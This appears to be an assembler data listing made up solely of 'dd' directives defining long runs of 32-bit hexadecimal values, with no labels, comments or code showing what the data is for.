dd 973DF8CEh, 2504EF80h, 0A682B849h, 0FE4E6AE6h, 9E02DF70h
dd 20825A5Dh, 765DBD1Eh, 1A18538Eh, 9C48DE73h, 553502Ah
dd 8218B1B6h, 0E5BFB783h, 689BBA3Ch, 6433ECEh, 5CDD7399h
dd 0F4B51951h, 4A559BFDh, 0ECEF179Bh, 6BABA151h, 216D2C04h
dd 4B1190AFh, 0DFB10EDFh, 3C7D1319h, 0BD25FEBEh, 39CE74F9h
dd 0B6A0FD3Ch, 4C50A2E1h, 0A20A14A6h, 3AB46F5Bh, 0B568E8CFh
dd 22FA61CAh, 9DD50257h, 137E7628h, 962ACEACh, 2EC83281h
dd 0AA32F42Fh, 72B5FCBh, 0C0E2DC9Dh, 0DEAA384Dh, 7D3CA07Bh
dd 0EAEE49BEh, 76B6D24Bh, 95658F7h, 67E937B4h, 3D23065h
dd 868CAB14h, 0D60217EEh, 929AA48Fh, 0B5B74D0Dh, 8F84DEF0h
dd 0D000FC1h, 64ABB435h, 0DA6106EDh, 0C9059CDAh, 9CD1F84Bh
dd 3C5C840Bh, 0BD2304DEh, 36F44F58h, 0D2771410h, 224C80E5h
dd 9AFB009Dh, 1BBE6037h, 0A26DD60Ah, 35199197h, 9D93005Eh
dd 0EC88EFC8h, 8396E92Fh, 0B1E8E91h, 87F5F922h, 76A76967h
dd 9DFC9181h, 0DFB4A3C6h, 416ABCBh, 0E66FA787h, 0ED74FDBBh
dd 0D7F2F336h, 0A240434Fh, 6183B628h, 3DFC9BFEh, 15CD9F2Bh
dd 65E29AADh, 0C9652C11h, 877A9F4h, 6D5707D7h, 758ABF51h
dd 505B2D10h, 0EDB9214Ah, 7506261Bh, 4C2B084h, 5583CFC7h
dd 0A2EF223Dh, 0C1D2B973h, 553AC400h, 0E98E07A1h, 0C155B37Bh
dd 0D15018BCh, 0BD028CB9h, 85EE2F4Ah, 9C240D0Bh, 71C38910h
dd 0D54CAAE1h, 49F16D52h, 948EEC90h, 0F307AFD5h, 84B92E98h
dd 0AF505Fh, 0D2C8AE08h, 51A23773h, 9551D3F9h, 8392E62Fh
dd 0D7F87A8Dh, 511A9F2Bh, 0E7221B59h, 51D69579h, 0D3412FDh
dd 7441D7BDh, 377B9691h, 704EEFEEh, 0AF1F8EC6h, 6E0A37D1h
dd 10970FC4h, 29B9CF24h, 2A3082F5h, 519277C0h, 8C0F0AB1h
dd 0E46CF2E2h, 0D8A5DEAh, 8F6B3CCBh, 0D585B02h, 0A05FE2B2h
dd 5C1A086Ch, 68F51753h, 75D08470h, 902735D7h, 0F0F5A80h
dd 0B6EA77F1h, 0C56FA194h, 809DB777h, 728D3E48h, 81727901h
dd 358C0B16h, 0C23F626Ch, 0F154734Dh, 5C1BAAC1h, 750E258Eh
dd 0E556AC67h, 618150CCh, 4952573Ch, 0D495155Ch, 8CE7BA5Ah
dd 0DD6CFB0Ah, 0F20DA79Bh, 15412F16h, 0E3DBE57h, 1DE2DE32h
dd 920E2813h, 6CF5B22h, 0EF588C7Eh, 81E1B31Dh, 0C3256AA7h
dd 218CBD3h, 86766B09h, 0CDD4030Dh, 6B1BC03h, 0F5A032A0h
dd 0F6795299h, 1D3C6A0Fh, 0D1DDB5CBh, 45327BFDh, 77624BBAh
dd 58782850h, 216537E3h, 90AE5014h, 29C25FBFh, 8007F323h
dd 0F9C28D95h, 0E5F81BC2h, 13356DB4h, 5DE78C17h, 457DB0A6h
dd 3A707B3Ch, 8BD60723h, 8CC82876h, 0D3F3276Bh, 8590F078h
dd 5E464F17h, 981F90F6h, 0D68777C3h, 0D5503681h, 61E27312h
dd 66A03EEDh, 127AC74Bh, 25DA53C5h, 0B54E3B07h, 1C948366h
dd 0F104B150h, 2F42221h, 0AB21B03h, 77BCD3DDh, 3166BF3Bh
dd 9716FB99h, 80D78FA9h, 0DD6281E2h, 6A986B3h, 153F4F84h
dd 3CD106Fh, 3E56C4CBh, 0D15A07D3h, 0FA4DC949h, 0F9266115h
dd 61AA48AFh, 0C9FE076Eh, 0B530EC05h, 25029216h, 0DDEC11DDh
dd 887C34D2h, 8A7F3B69h, 3CF8FB17h, 0E1ED9341h, 9290F72Dh
dd 0CAA55DA4h, 0E96E31F5h, 321C3856h, 7EBB113Bh, 0A588A5B7h
dd 8BBABA54h, 0F51869D0h, 62AE02F8h, 0C8692BE1h, 0B27EE57Fh
dd 0EDFCFA4Ch, 61FAB74Bh, 0DAFD2909h, 0D9D601CDh, 6F4CE796h
dd 6D133773h, 0AC5C3B5h, 294E725Dh, 0AB4FAE3Ch, 861A97C2h
dd 65781F07h, 7AC9B5A5h, 0D9BFCA3Fh, 0C492C770h, 357BE8DAh
dd 0CC4EEF0Fh, 2FB9E54Eh, 79FBE757h, 8568BC24h, 1AB6CBA6h
dd 7BA4E3F5h, 0FF92841Dh, 0E4E03531h, 693DA093h, 0DD8AB36Dh
dd 12B4F818h, 731F0B13h, 34F45C4Eh, 4E5A45A8h, 32B42EFAh
dd 0AB1FAB87h, 0D7C1D232h, 668CE340h, 0AEDBA8F6h, 0C548FBC4h
dd 5F130C04h, 0ED2E23E5h, 8162AB8Bh, 0F4719B91h, 99F7E984h
dd 3D78704Dh, 4ECB07ABh, 65389BB4h, 0F996E010h, 3DF244C5h
dd 287C10F5h, 0B5B05006h, 4150FEDFh, 0DC674FD1h, 71CA3017h
dd 3A0847F9h, 835233AAh, 2D70E8B8h, 0C6A5F713h, 7580AB91h
dd 0C65F40BCh, 0D90968B9h, 0A5C5279Fh, 0C5ED656Ah, 0A62ADBAFh
dd 0D0D28476h, 48539D33h, 3CCE43D6h, 5AF7BF0Eh, 1D716383h
dd 63C8527Bh, 4356F024h, 19730F27h, 1D7453E5h, 122304Bh
dd 0ECD50F51h, 8A87C30Dh, 52A9F3E9h, 518A6AA9h, 1B84DB4Eh
dd 0F6CDF81Ah, 0DC45E95h, 0A312AF34h, 0E63FEB41h, 3687AFD5h
dd 5D1CCE33h, 0EC13B4E0h, 7838BBA9h, 69F59BE0h, 3C531443h
dd 51F47940h, 0F95C8E31h, 6F6C0CBEh, 40C433DDh, 7E0B3CCBh
dd 1ED75BB9h, 1335554Ah, 1CC55E66h, 0EE431376h, 0AF7C6BA6h
dd 0B933F692h, 6D0DDA4Ch, 0CCD5DC6Fh, 50C8EB86h, 59259351h
dd 0E50EAA55h, 84E2B7B4h, 75796229h, 472BA6EAh, 84FFA72Eh
dd 0B7AFB44Dh, 38BD5E08h, 74677372h, 67487371h, 0CB000863h
dd 0A7BB16BCh, 0C48E6F2Eh, 0EDBA9532h, 7506261Bh, 0AE29F650h
dd 0B3078ADEh, 0A6640B35h, 94FFF64Ah, 0C4C4DBCh, 8DC1CD90h
dd 2F7D5C62h, 0AF4BF6F2h, 0EC5879Dh, 0A88FCB35h, 22153FF4h
dd 870DE5B5h, 7AB7D55h, 9F57E812h, 0D1418E1h, 8ED8BA5Fh
dd 0E6547B27h, 8549AAC9h, 1D54E5Dh, 1A23573h, 1E522001h
dd 80ECAF5Bh, 9B971C55h, 7077B514h, 0DD1737AAh, 4DC6D160h
dd 0D07B0D05h, 5B30F79Eh, 0D7DE1467h, 76548B46h, 7D5ED8CCh
dd 3ABB5D79h, 0BB46DB73h, 465A7D00h, 0AD8C18FBh, 16827753h
dd 0D33B6832h, 0E6809F1Fh, 0FDAC4880h, 0FB65EACBh, 0E6584B13h
dd 0DDEA02EFh, 0E29D7D4Bh, 0E16219E5h, 63B4077Ah, 8A902554h
dd 92774E3Fh, 0F4DDCDEh, 5048EB24h, 0B6578D0Dh, 728F88AFh
dd 81727FD7h, 2EC2D01Ch, 22B4DFFFh, 7BF82987h, 0D269AEC1h
dd 35E15667h, 607B500Fh, 0B1B042D8h, 0DD5D531Bh, 0B5B0E329h
dd 0CD02EDFh, 19A8574Fh, 0FF558A9Bh, 10282BC3h, 2C81FB97h
dd 0BC1561DBh, 0D1341980h, 0C850F671h, 30D88A67h, 7D55DB30h
dd 0CFE7478Bh, 0F85D8628h, 6D32AB75h, 6367DEA5h, 93287E9h
dd 94B5D5DDh, 1060BF17h, 71C7CEC0h, 0C4AAF78Dh, 5983F812h
dd 0AA661F7Ah, 1D7354E6h, 0F8F1E8A4h, 858679C6h, 29E347AFh
dd 100FF30Dh, 23A7D5A8h, 0B1BC5FE3h, 27E92227h, 65B43357h
dd 0A112D7DDh, 0C7601AF4h, 6702A1B8h, 4CDC933Eh, 0E1AC69E8h
dd 0AB6334B9h, 10465F35h, 0C22F7066h, 0CA0267BCh, 0C525E7B6h
dd 0D617508Fh, 0FD2C2D37h, 91765FBEh, 0DA5B5BA9h, 0B9460889h
dd 7F4F109Eh, 89F207AAh, 14F5605Fh, 2631FAE5h, 9D0CE3DFh
dd 10C5E60Bh, 0C5C8EB83h, 5F491C84h, 0A1B42365h, 8148B80Dh
dd 1542A3BFh, 16375F6Fh, 3D0C6EF7h, 0DE00C7A8h, 3D3B18A7h
dd 0CB163F05h, 22FFC5EBh
dd 21C23980h, 6580BD55h, 0B6C72D10h, 0DDDC4E83h, 0A3D58A73h
dd 0CBA82B44h, 0A945FE5Ch, 294C6335h, 90C2F793h, 206146A0h
dd 0A5A82D42h, 0ACDC7F61h, 1FCB178h, 0AC004A69h, 0AEF66FC7h
dd 0BD6CBCB2h, 0D635C083h, 0F52016FFh, 10E19497h, 1DC8BB40h
dd 7AF3E7FBh, 0A4E3413h, 8D2AF1EBh, 0E261A359h, 1B2F901h
dd 19F58B56h, 295E5D64h, 0BDBF1BFCh, 9E8D87EBh, 0E568045Ch
dd 9F813480h, 653433D8h, 0D8A32461h, 14B2D840h, 0C04EFF0Fh
dd 5DAEA3F9h, 615EA8DBh, 0D968BB3Ah, 19C550FFh, 8F977EF5h
dd 0C282671Ah, 0D5DF9B75h, 95C34F0Fh, 2CEE3383h, 81BB8538h
dd 7E98E029h, 31CEF47Ch, 1C1483D4h, 0F184C1D0h, 0F87242A1h
dd 0F9485A8Ch, 0B65FD35Dh, 27FFE440h, 498FB09h, 69AF71ECh
dd 0ECC4A8D5h, 816130AFh, 2180C291h, 0B9B7DF6Ah, 4BE1F8C0h
dd 4E14079Bh, 6528DCF8h, 0D3961568h, 0DCF6A9C6h, 31235DB0h
dd 0D4986A81h, 4AAEFBDEh, 5ADD133Dh, 61CC0628h, 573891F9h
dd 73F9820Ah, 0B2E453A8h, 81BDEA53h, 0E2A08B72h, 0D9F89B3Ch
dd 9554242Dh, 283B6D9Fh, 0A5184F01h, 174BC147h, 1F8172Eh
dd 57D404AAh, 52032B71h, 89FEB131h, 2A24548Eh, 36CB4A75h
dd 551E464Eh, 7166B537h, 6DC4A3A1h, 8E93E6A5h, 9570F623h
dd 15C29B2Ch, 508882h, 58CA875Bh, 0A981117Bh, 0D995BB0Bh
dd 0EFE418Dh, 0B3108DF5h, 0F9696A07h, 0EA4E0783h, 554C54F0h
dd 0D461E2Ch, 0D5DA86A9h, 0DAC4A4h, 990CE385h, 5E0277D3h
dd 0F5E83D5Bh, 89E8BF6Dh, 0E2FF18B3h, 6E02AF71h, 98F33B51h
dd 0F26F3511h, 8494A3A7h, 0D7CC84EAh, 39CFAB31h, 9AE3F1Bh
dd 74BCD373h, 3FF5CA0Eh, 50C8EBA4h, 69191784h, 1084C955h
dd 86A94E9Eh, 153B23C2h, 0C680DF6Fh, 94FC7929h, 0A7349442h
dd 0A9399B99h, 0F4EBFFF3h, 8D74C6EDh, 0B925CCA3h, 6C30FB1Bh
dd 17219212h, 62EC23E0h, 0F69609DBh, 159D8FCEh, 11694ED7h
dd 2D645342h, 826F6C08h, 0A3F98BE1h, 97AD1F69h, 6F6FEE5Ch
dd 943A5722h, 0D4EEDB11h, 0AE20F658h, 0BD9157B2h, 13B52783h
dd 1520608Bh, 10E4A597h, 341E3440h, 809DE0DEh, 0D0F2D25Ah
dd 4EA0F686h, 5D2137CAh, 803E4673h, 0C887A264h, 3040CC1Eh
dd 2A3CF37Dh, 510A9412h, 0CD622F4Ah, 79D69C97h, 1B0AB898h
dd 1612D773h, 35002C70h, 85D8B1Fh, 6D9AF6FAh, 0F10A27DBh
dd 0B8E37D39h, 19C65FD8h, 3C82EB1Eh, 39FD32DAh, 0D5E01BA6h
dd 0EBE9F0Fh, 0FA9C372Bh, 37DA7AD5h, 453EF6C4h, 0D964976h
dd 6E77E54Eh, 0D924A23h, 55EBC88Ah, 2C4E6253h, 7F6FBFFAh
dd 0E1648ADh, 0A552F83Ah, 39C66F57h, 82150398h, 0F3BD4C88h
dd 679FAE71h, 0CA483CD3h, 62CE7942h, 0DDAC244Fh, 5849C0E5h
dd 0D1B62893h, 56A49366h, 0BD743843h, 45189061h, 0EAC21E84h
dd 0FD48870Fh, 0D72913CEh, 2CCE949Dh, 8E61AF71h, 414396BBh
dd 0A7E90FB6h, 41BFAB54h, 0CA623FEBh, 1BFB93B6h, 0BACC2767h
dd 0D164730Ch, 0AB0FC967h, 26C665C5h, 948EE920h, 0C706481h
dd 53E2E8A0h, 0F5815912h, 0D145D5D8h, 25E349BAh, 0ADB9B250h
dd 65645B5h, 74FEC9D0h, 4C1EB2Ch, 49BDBC0Ch, 0D65C27C6h
dd 7AE6677Eh, 5D74026h, 6C779BF0h, 0E1D32F65h, 73E0F840h
dd 96082B34h, 0FA4BC301h, 0DD542FDh, 0DDA1478Ah, 0DE35AB1Bh
dd 74D545C2h, 0BA422D86h, 9BDF30BAh, 60C7B007h, 90D1D614h
dd 8872A76Fh, 917C6AA4h, 7644A869h, 0B0666968h, 9F07B42h
dd 0A5BBD557h, 0C8A266D3h, 9AEF707h, 9D0CD3DDh, 316A673Bh
dd 0C5C8FB99h, 59268FF7h, 0ED842355h, 81E2B7B3h, 15404B11h
dd 0A99EDF6Fh, 3DFC73CDh, 0D15A072Bh, 65B89B89h, 0F9162FE7h
dd 0DAC4C345h, 0A4F20DCEh, 0A5720F66h, 0A60B7F5Fh, 0DDDC5115h
dd 0B4F39A1Bh, 1D79B86Dh, 973B3AE6h, 71ED1334h, 83A7D36Fh
dd 700779FDh, 0D5CB2791h, 58F07124h, 7EB13BCDh, 0A588990Dh
dd 7B0EEC50h, 0D2BD0315h, 3DA5506h, 0F9524CBAh, 0B8F1473Fh
dd 75CC6379h, 0B12AE757h, 45886631h, 556994B7h, 16449334h
dd 58E1F7Ch, 77FC8B50h, 0E9E13226h, 80BC034Bh, 0D617507Ah
dd 0E568FF9Ch, 693FBFCAh, 9034CE99h, 0CFB0D33Bh, 186CF84Ah
dd 93CBFF0Fh, 78AF077Dh, 0E1F826CDh, 0DD1CF5B6h, 343A1D2h
dd 3C28F7F5h, 0B87F0E25h, 8CF81BFFh, 8497F23Eh, 15171A1Fh
dd 49FAD70Dh, 0E8641228h, 0FB7A6C16h, 0D2D983D5h, 0E1625583h
dd 75D0ABA1h, 92E13D7h, 0DD0F5A5Dh, 99EA777Dh, 43D4DB2h
dd 59A6A79Fh, 2D5FA2D5h, 8162A775h, 92374326h, 0A90EFBEFh
dd 0BA690F24h, 0D1CA45EBh, 0A9B31648h, 72963FA9h, 7DB60332h
dd 214FAF23h, 0FEE1EB81h, 0C99B0622h, 2F6C133Dh, 48AC7C43h
dd 0ADB33A04h, 9C86DF19h, 293EE27Fh, 0C0BEEA13h, 0D8A08B72h
dd 0E0FE0FF9h, 7D5CF0A9h, 15F8BE8Bh, 0A3E0F339h, 0B6736246h
dd 0CDE4410Dh, 0EB625106h, 0F5B7AB69h, 126EB893h, 0DD4D47EFh
dd 791F5866h, 0A467FCDAh, 5A0F62F6h, 2990678Eh, 5A86C4F3h
dd 6E018338h, 0B8676299h, 0E33CF30Dh, 245CAFECh, 907316F7h
dd 4756AF27h, 0E2B45904h, 0B1D84EE0h, 3FE96968h, 0E11D10A2h
dd 4C398D6Bh, 33E2D45Eh, 0A4BBBA9h, 104B87D7h, 0ADA467F1h
dd 0A96DFAD3h, 85601B6Fh, 0B0184CA7h, 159F3270h, 187AD78Dh
dd 359A732Eh, 0D53AEE07h, 4F540294h, 4FF3BEB6h, 0F5624A29h
dd 0CAFB1F38h, 0B610F7B9h, 3541834Fh, 0F008A2BDh, 506B1020h
dd 813F7AA0h, 29D738B9h, 6969A5D6h, 0D23360A5h, 71E9D4D4h
dd 7F9F8811h, 591CF0A7h, 8CFBB0CDh, 61A57B6Eh, 0D667D8A9h
dd 4921B3AAh, 7C30055h, 518B38E0h, 812F2821h, 39C76044h
dd 557982DDh, 58645373h, 38F308ACh, 97A1554Ch, 2F678863h
dd 7F1DEEB0h, 396243F5h, 0A46DF0A2h, 57E5FC4Fh, 553A0315h
dd 3B07F74h, 0F711CFA1h, 0A313D9A1h, 3BA42B97h, 344B4AE8h
dd 96057397h, 0F10E0CE1h, 7C61B836h, 749F3DF3h, 97307BD8h
dd 194070B4h, 0A415598Dh, 0BB429F15h, 0DA79A1C9h, 0D1E55FBFh
dd 5CF19806h, 0A192D80Bh, 0C942EFC1h, 0CFEE301Ch, 38C27A33h
dd 0F10ACFD8h, 27D13B39h, 0A6410E36h, 0AD14BC69h, 9B2B222Eh
dd 655B7E70h, 693E8FF8h, 0FCAC336Dh, 0B1390738h, 0D3D36D20h
dd 0BAB6FFC0h, 4A7A8532h, 0F4D734BCh, 4E263013h, 162C3FEFh
dd 0CE87B557h, 0FE6BED8h, 6B63FC16h, 8032B7E2h, 0B08D3E48h
dd 59ED303Fh, 0C0C05B4Fh, 39A1AA32h, 3D7C8356h, 0D8CA07ABh
dd 21345B9Eh, 602297D1h, 27B1ED8h, 21421567h, 8E467033h
dd 0D60D7FCFh, 0B83B1E39h, 1C8ABE9Dh, 75A30E38h, 9986DF70h
dd 41D463B5h, 6BBD6DF2h, 96A09B8Ah, 0DE60266Fh, 0D80278A4h
dd 9B106F1Bh, 0B52F316Eh, 44963047h, 46B866A2h, 213F2E01h
dd 0E7A982C3h, 8677DB47h, 0A2C6FA1Dh, 0B1BA1025h, 654723DDh
dd 1723762Fh, 5DA92F12h, 1E8730F3h, 0B559B7A1h, 2903F715h
dd 0C6955AE7h, 0F9C28395h, 640DAFC2h, 0BAA4ABB4h, 12DA4B25h
dd 0CAC175Ch, 0A5206A68h, 71E1A5F9h, 4C3D83D5h, 7505A792h
dd 8BE8AB9Ch, 4C3E0597h, 0C1D66758h, 2DC8F996h, 0A99A75F0h
dd 3504F1D6h, 0B1D66D96h, 1DB0E94Fh, 992265A4h, 94DD9F16h
dd 0E719132Ch, 9D57BE33h, 35E960D1h, 4D93D70Fh, 4D8F461Ch
dd 316A7774h, 35C8FBB9h, 55243C7Dh, 0FBD1B051h, 0BA8A142Dh
dd 0C01E4B01h, 0F6A1B3EFh, 0BDFCE3C8h, 3B1AAAF2h, 0E44DB9E1h
dd 0A9999AA6h, 8D74B31Eh
dd 0BFD25763h, 4A5F8D79h, 0E775CB61h, 0D7D4C354h, 61713D98h
dd 8C8FB79h, 40D17781h, 0A5F4FEE8h, 0FA3274A2h, 0D5208BE1h
dd 0EBD11F4Fh, 0E25635FDh, 112A30B3h, 0A118328Bh, 0E9F7DCCCh
dd 9C218325h, 0E66F2DC3h, 0E5F7979Eh, 1079673Fh, 0A2A1CE40h
dd 0B13A10ABh, 45487B59h, 79760ECBh, 0BDC7B6BBh, 1A2277Ch
dd 0E9F0CBD1h, 0A411F736h, 0FC55F3E1h, 2AAA047Ah, 0E5791B59h
dd 0F5CFADA7h, 0D344395h, 0CF82F13h, 0F728D84Ah, 0FDF6FF0Fh
dd 0DB98E5Fh, 7A9FBD03h, 95AA7786h, 0BF11F797h, 32797E28h
dd 419240A3h, 0D5E00BB0h, 0E68F95C3h, 0FDAC2CBDh, 93FAC7CBh
dd 53C051DDh, 915FE205h, 1C115D5Ch, 4C18F0B3h, 0B7883028h
dd 0C0B33FEFh, 4A031B34h, 31FA250Bh, 3D3CB392h, 47EF2B1Eh
dd 93C4F27Ch, 31DDC2CEh, 18C05B6Ah, 0F51EDFEFh, 9BFF253Ch
dd 51DA1784h, 0FE091FDh, 517FA224h, 0DC311D7Ch, 0AA6E32CBh
dd 0F5E14263h, 0C63FE685h, 0DD5C4CEDh, 71CAA79Eh, 8A56618Dh
dd 9976C805h, 0C5EE7835h, 38737C94h, 0B426B9D9h, 2EFC877Eh
dd 5DCCEE30h, 283F53F3h, 0B2FFA94h, 978962FFh, 487D744Ch
dd 71492790h, 8CE2DE61h, 89EEBE01h, 7540481Dh, 8CB4B4Fh
dd 73706669h, 772F42D1h, 13B7BE4Dh, 8CC7A88Eh, 45FB421Ch
dd 44DE4FF1h, 69F47C45h, 2A2A04FAh, 0E5F91BD9h, 0A14AAF27h
dd 1624C810h, 0A112D7F3h, 215C6741h, 923E7C36h, 5D2C930Dh
dd 0FB75255Bh, 449B7951h, 0BEFBF7F6h, 32F97EA8h, 41124023h
dd 0DD600B31h, 0FD26A543h, 15C96E72h, 0A87BECACh, 5E68E0DCh
dd 0B93AEF17h, 44088365h, 984581DBh, 3527139Ch, 5153074Dh
dd 0A1E013D5h, 89950FE6h, 0ED71DE70h, 806FC496h, 0B6D4A8C0h
dd 81EAB7A3h, 670B4B11h, 0B20874EFh, 71FC73BDh, 66359FD4h
dd 8E1026F4h, 0F3CD58FFh, 7D6B69A2h, 246E97A3h, 8ECA5007h
dd 61F37F4Fh, 0CC791074h, 0FBE0588Bh, 159FD5FEh, 7D9E35D7h
dd 2C41FEEAh, 0FA2874E1h, 59938BE1h, 2ABE1B0Fh, 0FA4CBBCDh
dd 128A9EE9h, 0C5808EBFh, 521F62C4h, 553A2739h, 10E95E25h
dd 0E5F79B66h, 896EAF3Fh, 0CDD1479Dh, 49C47D44h, 668AC12Eh
dd 0FDBE76DDh, 0BD61BE09h, 0C1CF8DCBh, 29834438h, 0F85E4F71h
dd 0CDE3630Ah, 511A67EBh, 0BC513049h, 0E04201CFh, 9DB79698h
dd 0A192C78Ch, 0C9706BC1h, 0E9C98807h, 35ACA3BBh, 0C86B0CD4h
dd 441C79D1h, 7303BF76h, 3C80391Dh, 88079DDAh, 1FB9D341h
dd 72E61C09h, 0B713335Dh, 0ED121D9Fh, 8BAD6655h, 0A876703Fh
dd 3D4B1362h, 0E1725743h, 0F5D1DFA1h, 663427C3h, 9D7C0CB5h
dd 0C661FE99h, 0C558B9A1h, 0C929BAE2h, 0ED04130Eh, 0EEA2B733h
dd 1770FB9Ah, 99F58774h, 0C271D94Dh, 0D1CAF0FBh, 65389B89h
dd 0A146369Ch, 965B48CBh, 4CB85733h, 86588D7Eh, 99918AC7h
dd 0DD6C2366h, 0BDCAA79Ch, 0F0FCBF7h, 0A94D38FCh, 30C823B5h
dd 0FAA9540Dh, 0BE8B61h, 397DB7F5h, 66CC3838h, 13BA477Bh
dd 0A763DBE9h, 0D66C37FBh, 0CDE41C4Eh, 0D6B92E21h, 0F5A06935h
dd 89151347h, 0A221FA1Dh, 0B1BA102Bh, 45087BD1h, 0FD3EC04Bh
dd 84E1BE8Ch, 11598770h, 957CCB51h, 0B9E3ACAFh, 17BFF995h
dd 0BB9A9744h, 6A0558A0h, 7966E897h, 0DB44B85h, 19ACC850h
dd 9A6A8BC0h, 0C9DED8F9h, 1DFD3A57h, 4F95FEC5h, 8F00D401h
dd 290DB5BCh, 0B008A375h, 7A68D4CDh, 80FE0B21h, 724E1CC6h
dd 0D1C33DDh, 0E914C74Bh, 28A49B2Ah, 0B32EAB87h, 3DCB2902h
dd 0E89771C3h, 4EA630D3h, 0A1533F6Fh, 0C594A54h, 4ADAE4AAh
dd 0C5C8FB89h, 4FFA4FF7h, 7286D305h, 81F2804Bh, 0F00F2377h
dd 0E029B2DEh, 0A977FC8Fh, 605A17EDh, 758FEB0Eh, 0F9162FE7h
dd 1D8997C5h, 9E57EDFBh, 0B540A9A1h, 610BBA3Ah, 8A63BAB9h
dd 715AE5BBh, 77D04090h, 318F8232h, 0BC41FA2Ch, 0FA3274A2h
dd 55208BE1h, 0E4D11F50h, 2D673FDh, 112A30B3h, 0B9DF2BFh
dd 3336EE7Fh, 0BD8BABC2h, 0D157F183h, 7A3D81E2h, 897E98CFh
dd 1DCE539Dh, 2E53FA68h, 459884E9h, 0D9EA0FB7h, 0AD949982h
dd 3A48B46Dh, 3A7ACBC1h, 294E78CEh, 0E3CC93CEh, 0BC99A143h
dd 0EDA11BF9h, 0F6CC6F17h, 0D445C6Bh, 110D22FDh, 35F07BBAh
dd 564E071Fh, 0E0F4F58Dh, 9AA51D03h, 0AB68AB02h, 0B4C5BF42h
dd 0A7EC33FDh, 5179D0D0h, 65F8A1B1h, 0B897F239h, 0D83A3EAh
dd 81FAC7CBh, 9A23AC29h, 3C1E49ACh, 0E6B789BDh, 0FF72072Ch
dd 0DF909A48h, 4BEA9418h, 22E1D36Dh, 31FA906Bh, 0C568FB19h
dd 835A20Ch, 352A1A3Ch, 1E689F2Ch, 15B074FAh, 0A31BBB2Fh
dd 4DA3DCEAh, 0BA6F21ABh, 757AE7B6h, 7355B567h, 7DB65F22h
dd 91B73123h, 1D2BE9D9h, 0A30E6FA8h, 0CCF65995h, 1459252h
dd 8282BC2h, 0C584CF57h, 7D67F699h, 0C142E7DCh, 2A988B71h
dd 79816AAFh, 7D5CC3F6h, 9EB4478Bh, 9EBDF3DFh, 3D8E6246h
dd 0A551DEFBh, 180360D4h, 94BA3949h, 0D9714A0Eh, 1D4C6306h
dd 7DBAE77Bh, 0AF4F0BD1h, 2D41DFh, 0BD47B688h, 12227FCh
dd 0E9800B51h, 43DFEFC9h, 0CD635B8Ah, 4B7A486Bh, 90094C6h
dd 11F9AD27h, 4DB4335Eh, 0DD92D6BFh, 65C8C245h, 19871228h
dd 1544395Eh, 4FEB0A94h, 8F888601h, 290DB7BCh, 454D0575h
dd 0B8B30022h, 0EEB09004h, 69DE9F9Fh, 9C5033EDh, 6ACA441Ah
dd 25D85BB9h, 0C06A6F07h, 0CA1D46ECh, 0E1E255E3h, 0B6C76C48h
dd 92A7E74Bh, 15644E00h, 0C10BCAB4h, 45B09158h, 0D46FC210h
dd 410FAA90h, 0ACE2A7F5h, 0F1FFC452h, 26A4171Fh, 3D0C6C65h
dd 6A359F95h, 0EA4526F4h, 0F9266857h, 8DF4C345h, 99EC4B8Fh
dd 3A2A2A51h, 499E58B7h, 85121914h, 0E4087D2h, 5B844D1h
dd 7D9E36BDh, 0C441FEEEh, 0D1B94710h, 55208AF1h, 64B7EB51h
dd 0B95F3AE0h, 0FC3A57CDh, 0A1E05421h, 0B62738FAh, 0CD641CB5h
dd 62B29783h, 7A832556h, 897E98D7h, 9D0C5B13h, 9D7E6F4h
dd 9CB7FD6h, 1AE61F9Bh, 0E894ABF5h, 5F9C560Eh, 0FBC0FC29h
dd 0A0B6B9CAh, 0BD641B0Dh, 0F21887EBh, 903072ABh, 77C9F82Ch
dd 4D23DB1Fh, 0E4E26EC1h, 4D3F8327h, 46D912AEh, 5D9CCC21h
dd 0ABAA40Ah, 8568BB29h, 17592F97h, 0D57CCAC0h, 140760EEh
dd 0E822D9h, 95C9265Fh, 0FE9C43ABh, 81B83338h, 0B06F5C29h
dd 32BA0B4Bh, 3D24EC7Ah, 59058E43h, 60D0BB5Fh, 0F96C8B84h
dd 4D0F465Dh, 0F1EA77F4h, 7948FB19h, 0B4CEBA79h, 0A3042713h
dd 71153662h, 15C05B4Fh, 0AAD55BEEh, 3A54734Dh, 1CDA07ABh
dd 2A7EC9CEh, 0FC45EB3h, 8DC08F81h, 17C4C48Ah, 3A27EB91h
dd 491E3EE3h, 9949A0Ch, 0C4AB6F9Eh, 0F9E9B2D1h, 401A6CBFh
dd 0D157EA68h, 9C42E7D5h, 0DE944970h, 0D93B2754h, 751EB22Dh
dd 0D4AEC414h, 18A1DBF9h, 0B9E3626Fh, 0A5D403A5h, 18036369h
dd 37AC98E8h, 21C0BFAFh, 8C19C78Bh, 73C67406h, 0F917BC9h
dd 0CD9C0E3Fh, 8645EDBCh, 61AA2AF0h, 0A480CB52h, 29DD9533h
dd 55EFF20Dh, 549A97ADh, 0F5BA7F7Eh, 0D1825327h, 0D16C888h
dd 5F95D7E3h, 99EB4245h, 0CCCEEFE1h, 0BC44E3F7h, 74EB0A87h
dd 952A9F06h, 14D94F17h, 0ACB0266Ch, 41015E56h, 0EE546231h
dd 597CFB24h, 0FA9F3EEDh, 947AC74Ch, 359ABF2Eh, 0E1B54907h
dd 0D2A1A838h, 0E1F217E7h, 6052EBA8h, 0A1FE0BC2h, 0C5947CBh
dd 0F3060C74h, 4ACDFB89h, 59268F1Bh, 0AF2CA854h, 0FEDFB7A3h
dd 15308975h, 0E883DFEAh, 0FA7E7EC1h, 0AC5A072Bh, 0E8BD934Ch
dd 0F9162FABh, 907603C4h
dd 9ECF4362h, 0B540A965h, 96C72F11h, 0DDDC52B9h, 878C34D2h
dd 8A823B69h, 889D217h, 0C6646335h, 0C1C2F7F7h, 0DA15F60Dh
dd 0E97E1FE3h, 7CEFAD2Dh, 113ABE88h, 0A6D65269h, 89EAAEF2h
dd 9CC5C48Dh, 0FD45A02Ah, 0A103B1Fh, 21F1BE16h, 20CC63DBh
dd 0A1E88378h, 5503F459h, 54E61FFAh, 65C77A15h, 73A22736h
dd 0A17BF2D9h, 7B5E4F72h, 0BDBCF066h, 2068B7EBh, 0E5780621h
dd 0DD9034A7h, 0F1D848Ch, 9C829566h, 25B17B46h, 4C5A8C1Fh
dd 8EB9A339h, 0E5266362h, 4881925Ah, 5B0ACC26h, 2804E305h
dd 51C0D3A0h, 298563B1h, 21DF23Eh, 7D9C336Dh, 50CFB918h
dd 605FE925h, 3BAFF74Eh, 1C115EF9h, 53ED0AFCh, 75561Bh
dd 68AD1B0Bh, 9D8CFCCDh, 884BCA32h, 8FC7B9F0h, 59A62F5Bh
